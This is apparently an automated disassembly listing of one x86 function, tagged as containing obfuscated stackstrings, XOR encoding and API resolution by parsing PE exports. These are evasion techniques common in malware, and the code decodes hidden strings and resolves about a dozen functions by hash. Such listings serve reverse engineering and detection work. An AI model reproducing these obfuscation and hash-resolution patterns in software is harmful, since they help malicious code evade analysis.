Function at 0x40ab50
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x1a0
mov eax, dword [0x44afb0]
mov dword [esp + 0xc], eax
mov dword [esp + 0x18], 0xebabd55f
mov dword [esp + 0x1c], 0xef90e998
mov dword [esp + 0x20], 0xe398ed9a
mov dword [esp + 0x24], 0xe7d2e192
mov dword [esp + 0x28], 0xfb98e582
mov dword [esp + 0x2c], 0xfff8f986
mov byte [esp + 0x30], 0
mov edx, 0x531b2945
mov eax, 0xa98d94a2
mov ecx, 0x56726b5d
nop
nop
nop
nop
mov dword [esp + 4], edx
movzx edi, byte [esp + ecx - 0x56726b45]
mov edx, eax
not edx
mov ebx, eax
and ebx, 0xa7f6d79f
mov esi, ecx
and esi, 0x58092860
or esi, ebx
xor esi, 0xfd1f89b
and edx, 0xa8272f04
or edx, esi
mov esi, ecx
and esi, 0x42d00
mov ebx, eax
and ebx, 0xa8230204
or ebx, esi
mov esi, edi
and esi, 0xfffffffb
xor esi, 0x57d8d0fb
not edx
xor ebx, 0xa8230204
or ebx, edx
mov edx, edi
and edx, 4
or edx, esi
and esi, 0x1680c0ba
and edi, 0x45
or edi, esi
xor edi, 0x41581041
and edi, edx
mov esi, ebx
not esi
mov edx, edi
and edx, ebx
add edx, edx
xor ebx, edx
and edx, esi
add edx, edx
sub edx, ebx
mov esi, edx
xor esi, edi
not edx
and edx, edi
add edx, edx
sub edx, esi
mov dword [esp + 0x11c], edx
mov edx, dword [esp + 0x11c]
add dl, 0x75
mov byte [esp + ecx - 0x56726b45], dl
mov edx, dword [esp + 4]
add edx, 0xfffffffe
dec eax
inc ecx
cmp edx, 0x531b2913
jne 0x40abb0
lea esi, [esp + 0x18]
push 0x800
push 0
push esi
call dword [esp + 0x18]
mov ecx, 0x44af78
push eax
call fcn.0043bc60
test al, al
je 0x40b144
push 0xd16c9e6b
push dword [0x44af78]
call fcn.0043e9a0
add esp, 8
mov dword [0x44af80], eax
push 0x2b39326b
push dword [0x44af78]
call fcn.0043e9a0
add esp, 8
mov dword [0x44af84], eax
push 0x20eddf4
push dword [0x44af78]
call fcn.0043e9a0
add esp, 8
mov dword [0x44af88], eax
push 0x6f420210
push dword [0x44af78]
call fcn.0043e9a0
add esp, 8
mov dword [0x44af8c], eax
push 0xbb4ac2a9
push dword [0x44af78]
call fcn.0043e9a0
add esp, 8
mov dword [0x44af90], eax
push 0xe03c21ff
push dword [0x44af78]
call fcn.0043e9a0
add esp, 8
mov dword [0x44af94], eax
push 0xb35fc6e6
push dword [0x44af78]
call fcn.0043e9a0
add esp, 8
mov dword [0x44af98], eax
push 0xe3a9b6db
push dword [0x44af78]
call fcn.0043e9a0
add esp, 8
mov dword [0x44af9c], eax
push 0xe81e9fc0
push dword [0x44af78]
call fcn.0043e9a0
add esp, 8
mov dword [0x44afa0], eax
push 0x70f53c13
push dword [0x44af78]
call fcn.0043e9a0
add esp, 8
mov dword [0x44afa4], eax
push 0xb54b293a
push dword [0x44af78]
call fcn.0043e9a0
add esp, 8
mov dword [0x44afa8], eax
push 0x9b73555b
push dword [0x44af78]
call fcn.0043e9a0
add esp, 8
mov dword [0x44afac], eax
mov eax, 0x4435f4
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
lea ecx, [esp + 0x11c]
push ecx
mov dword [esp + 0x10], eax
push dword [eax]
call fcn.00437410
add esp, 8
mov eax, 0xffffffff
nop
nop
nop
nop
nop
cmp byte [esp + eax + 0x11d], 0
lea eax, [eax + 1]
jne 0x40ade0
mov dword [esp + 8], 0
mov edx, esi
test eax, eax
jle 0x40ae60
lea ecx, [esp + eax]
add ecx, 0x11c
xor ebx, ebx
lea edx, [esp + 0x18]
lea edi, [esp + 0x11c]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [edi], 0
je 0x40ae60
lea eax, [esp + 8]
push eax
push ecx
push edi
mov esi, ecx
mov dword [esp + 0x10], edx
call fcn.0040d150
mov edx, dword [esp + 0x10]
add esp, 0xc
movzx ecx, word [esp + 8]
mov word [edx], cx
add edx, 2
cmp ebx, 0x7d
ja 0x40ae60
add edi, eax
inc ebx
cmp edi, esi
mov ecx, esi
jb 0x40ae20
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [edx], 0
lea esi, [esp + 0x18]
push esi
call fcn.0040b4e0
add esp, 4
test al, al
jne 0x40b14b
mov eax, dword [esp + 0xc]
add eax, 4
cmp eax, 0x443618
jne 0x40adc0
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessVersion]
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0xc376c168
mov dword [esp + 0x1c], 0xc776c570
mov dword [esp + 0x20], 0xcb30c97b
mov dword [esp + 0x24], 0xcf21cd23
mov dword [esp + 0x28], 0xd366d163
mov dword [esp + 0x2c], 0xd777d571
mov dword [esp + 0x30], 0xdb79d975
mov dword [esp + 0x34], 0xdf73dd73
mov dword [esp + 0x38], 0xa317a10d
mov dword [esp + 0x3c], 0xa70fa50a
mov dword [esp + 0x40], 0xab13a91c
mov dword [esp + 0x44], 0xaf0dad42
mov dword [esp + 0x48], 0xb31fb11f
mov dword [esp + 0x4c], 0xb706b55b
mov dword [esp + 0x50], 0xbb15b90a
mov dword [esp + 0x54], 0xbf17bd1a
mov dword [esp + 0x58], 0x8327812c
mov dword [esp + 0x5c], 0x87698537
mov dword [esp + 0x60], 0x8b7c897f
mov dword [esp + 0x64], 0x8f788d79
mov dword [esp + 0x68], 0x93639161
mov dword [esp + 0x6c], 0x976f956d
mov dword [esp + 0x70], 0x9b68996f
mov dword [esp + 0x74], 0x9f6d9d68
mov dword [esp + 0x78], 0x63936193
mov dword [esp + 0x7c], 0x6796659d
mov dword [esp + 0x80], 0x6b6a6998
mov dword [esp + 0x8c], 0
mov dword [esp + 0x88], 0
mov dword [esp + 0x84], 0
mov eax, 0xd8b64da0
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax + 0x2749b278]
lea edx, [ecx + ecx]
not edx
add edx, ecx
lea esi, [edx + edx]
not esi
add esi, edx
and esi, eax
or ecx, eax
xor ecx, esi
mov dword [esp + 0x11c], ecx
mov ecx, dword [esp + 0x11c]
mov edx, ecx
and edx, 0x20
xor ecx, 0xa0
lea ecx, [ecx + edx*2]
mov byte [esp + eax + 0x2749b278], cl
inc eax
cmp eax, 0xd8b64e18
jne 0x40afb0
lea eax, [esp + 0x14]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x18]
push eax
push ecx
push edx
call fcn.0040bde0
add esp, 0xc
xor ebx, ebx
test al, al
je 0x40b4bd
mov dword [esp + 0x18], 0x4ca4a0da
mov dword [esp + 0x1c], 0x534d0958
mov dword [esp + 0x20], 0x20595849
mov dword [esp + 0x24], 0x53454604
mov dword [esp + 0x28], 0x5a58426d
mov dword [esp + 0x2c], 0x4a4e424a
mov dword [esp + 0x30], 0x525b4f4f
mov dword [esp + 0x34], 0x4c435640
mov word [esp + 0x38], 0x3710
mov byte [esp + 0x3a], 0xf4
mov dword [esp + 0x3b], 0
mov dword [esp + 0x3f], 0
mov dword [esp + 0x43], 0
mov byte [esp + 0x47], 0
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx eax, byte [esp + ebx + 0x18]
mov edx, ebx
or edx, 0x18f9e9fc
mov esi, ebx
and esi, 0x18f9e9fc
lea ecx, [edx + esi]
add esi, edx
inc esi
mov edi, esi
xor edi, eax
lea edx, [edi + edi]
not edx
add edx, edi
and edx, esi
mov edi, edx
not edi
mov esi, edi
or esi, 0xfffffffd
sub edi, esi
lea esi, [edx + edx]
not esi
add esi, edx
and esi, 2
imul esi, edi
mov edi, edx
and edi, 2
or edx, 2
imul edx, edi
add eax, ecx
inc eax
sub eax, edx
add eax, esi
mov dword [esp + 0x11c], eax
mov eax, dword [esp + 0x11c]
add al, 0x15
mov byte [esp + ebx + 0x18], al
inc ebx
cmp ebx, 0x30
jne 0x40b090
mov ecx, dword [esp + 0x10]
movzx ebx, byte [esp + 0x18]
test bl, bl
je 0x40b194
lea esi, [esp + 0x18]
mov edx, esi
mov edi, ecx
jmp 0x40b127
movzx ebx, byte [edx]
test bl, bl
je 0x40b196
mov bh, byte [ecx]
test bh, bh
je 0x40b4af
inc ecx
inc edx
lea eax, [edi + 1]
cmp bh, bl
je 0x40b13e
mov edi, eax
mov ecx, eax
je 0x40b120
mov edx, esi
jmp 0x40b120
xor ebx, ebx
jmp 0x40b4bd
movzx eax, word [esp + 0x18]
test ax, ax
je 0x40b184
mov ecx, 2
nop
nop
nop
nop
nop
nop
mov word [ecx + 0x44afb2], ax
movzx eax, word [esp + ecx + 0x18]
add ecx, 2
test ax, ax
jne 0x40b160
mov word [ecx + 0x44afb2], 0
mov bl, 1
jmp 0x40b4bd
mov word [0x44afb4], 0
mov bl, 1
jmp 0x40b4bd
mov edi, ecx
test edi, edi
je 0x40b4af
mov dword [esp + 0x18], 0x8b894e5c
mov dword [esp + 0x1c], 0x17508375
mov dword [esp + 0x11c], 0x9267b3d8
mov eax, dword [esp + 0x11c]
add al, 0x64
mov byte [esp + 0x18], al
movzx edx, byte [esp + 0x19]
lea ecx, [edx + edx]
and ecx, 0x10a
xor edx, 0x9267b385
add edx, ecx
mov eax, edx
not eax
and eax, ecx
not ecx
and ecx, edx
sub ecx, eax
mov dword [esp + 0x11c], ecx
mov eax, dword [esp + 0x11c]
add al, 0x64
mov byte [esp + 0x19], al
movzx edx, byte [esp + 0x1a]
lea ecx, [edx + edx]
and ecx, 0x10c
xor edx, 0x9267b386
add edx, ecx
mov eax, edx
not eax
and eax, ecx
not ecx
and ecx, edx
sub ecx, eax
mov dword [esp + 0x11c], ecx
mov eax, dword [esp + 0x11c]
add al, 0x64
mov byte [esp + 0x1a], al
movzx edx, byte [esp + 0x1b]
lea ecx, [edx + edx]
and ecx, 0x10e
xor edx, 0x9267b387
add edx, ecx
mov eax, edx
not eax
and eax, ecx
not ecx
and ecx, edx
sub ecx, eax
mov dword [esp + 0x11c], ecx
mov eax, dword [esp + 0x11c]
add al, 0x64
mov byte [esp + 0x1b], al
movzx edx, byte [esp + 0x1c]
lea ecx, [edx + edx]
and ecx, 0x110
xor edx, 0x9267b388
add edx, ecx
mov eax, edx
not eax
and eax, ecx
not ecx
and ecx, edx
sub ecx, eax
mov dword [esp + 0x11c], ecx
mov eax, dword [esp + 0x11c]
add al, 0x64
mov byte [esp + 0x1c], al
movzx edx, byte [esp + 0x1d]
lea ecx, [edx + edx]
and ecx, 0x112
xor edx, 0x9267b389
add edx, ecx
mov eax, edx
not eax
and eax, ecx
not ecx
and ecx, edx
sub ecx, eax
mov dword [esp + 0x11c], ecx
mov eax, dword [esp + 0x11c]
add al, 0x64
mov byte [esp + 0x1d], al
movzx edx, byte [esp + 0x1e]
lea ecx, [edx + edx]
and ecx, 0x114
xor edx, 0x9267b38a
add edx, ecx
mov eax, edx
not eax
and eax, ecx
not ecx
and ecx, edx
sub ecx, eax
mov dword [esp + 0x11c], ecx
mov eax, dword [esp + 0x11c]
add al, 0x64
mov byte [esp + 0x1e], al
movzx edx, byte [esp + 0x1f]
lea ecx, [edx + edx]
and ecx, 0x116
xor edx, 0x9267b38b
add edx, ecx
mov eax, edx
not eax
and eax, ecx
not ecx
and ecx, edx
sub ecx, eax
mov dword [esp + 0x11c], ecx
mov eax, dword [esp + 0x11c]
add al, 0x64
mov byte [esp + 0x1f], al
movzx ebx, byte [esp + 0x18]
test bl, bl
je 0x40b384
lea edx, [esp + 0x18]
mov esi, edx
mov ecx, edi
mov dword [esp + 4], edi
jmp 0x40b367
movzx ebx, byte [esi]
test bl, bl
je 0x40b388
mov bh, byte [edi]
test bh, bh
je 0x40b4af
inc edi
inc esi
lea eax, [ecx + 1]
cmp bh, bl
je 0x40b37e
mov ecx, eax
mov edi, eax
je 0x40b360
mov esi, edx
jmp 0x40b360
mov ecx, edi
jmp 0x40b394
test ecx, ecx
mov edi, dword [esp + 4]
je 0x40b4af
mov byte [ecx], 0
mov ecx, 0xffffffff
nop
nop
nop
nop
cmp byte [edi + ecx + 0x23], 0
lea ecx, [ecx + 1]
jne 0x40b3a0
test ecx, ecx
je 0x40b3e0
xor edx, edx
jmp 0x40b3c4
add bl, 0x94
add bl, 0x61
mov byte [esp + edx + 0x11c], bl
inc edx
cmp ecx, edx
je 0x40b3e0
movzx ebx, byte [edi + edx + 0x22]
mov eax, ebx
add al, 0x9f
cmp al, 0x19
ja 0x40b3b8
movzx eax, bl
add eax, 0xffffffae
cmp eax, 0x1a
jae 0x40b3b2
mov ebx, eax
jmp 0x40b3b5
mov byte [esp + ecx + 0x11c], 0
mov eax, 0xffffffff
nop
nop
nop
cmp byte [esp + eax + 0x11d], 0
lea eax, [eax + 1]
jne 0x40b3f0
mov dword [esp + 8], 0
lea edx, [esp + 0x18]
test eax, eax
jle 0x40b463
lea ebx, [esp + eax]
add ebx, 0x11c
lea edi, [esp + 0x11c]
xor esi, esi
lea edx, [esp + 0x18]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [edi], 0
je 0x40b463
lea eax, [esp + 8]
push eax
push ebx
push edi
mov dword [esp + 0x10], edx
call fcn.0040d150
mov edx, dword [esp + 0x10]
add esp, 0xc
movzx ecx, word [esp + 8]
mov word [edx], cx
add edx, 2
cmp esi, 0x3d
ja 0x40b463
add edi, eax
inc esi
cmp edi, ebx
jb 0x40b430
mov word [edx], 0
lea eax, [esp + 0x18]
push eax
call fcn.0040b4e0
add esp, 4
test al, al
je 0x40b4af
movzx eax, word [esp + 0x18]
test ax, ax
je 0x40b4c7
mov ecx, 2
nop
nop
nop
nop
nop
nop
nop
nop
mov word [ecx + 0x44afb2], ax
movzx eax, word [esp + ecx + 0x18]
add ecx, 2
test ax, ax
jne 0x40b490
mov word [ecx + 0x44afb2], 0
jmp 0x40b4d0
xor ebx, ebx
push dword [esp + 0x10]
call fcn.0043a980
add esp, 4
mov eax, ebx
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov word [0x44afb4], 0
mov bl, 1
jmp 0x40b4b1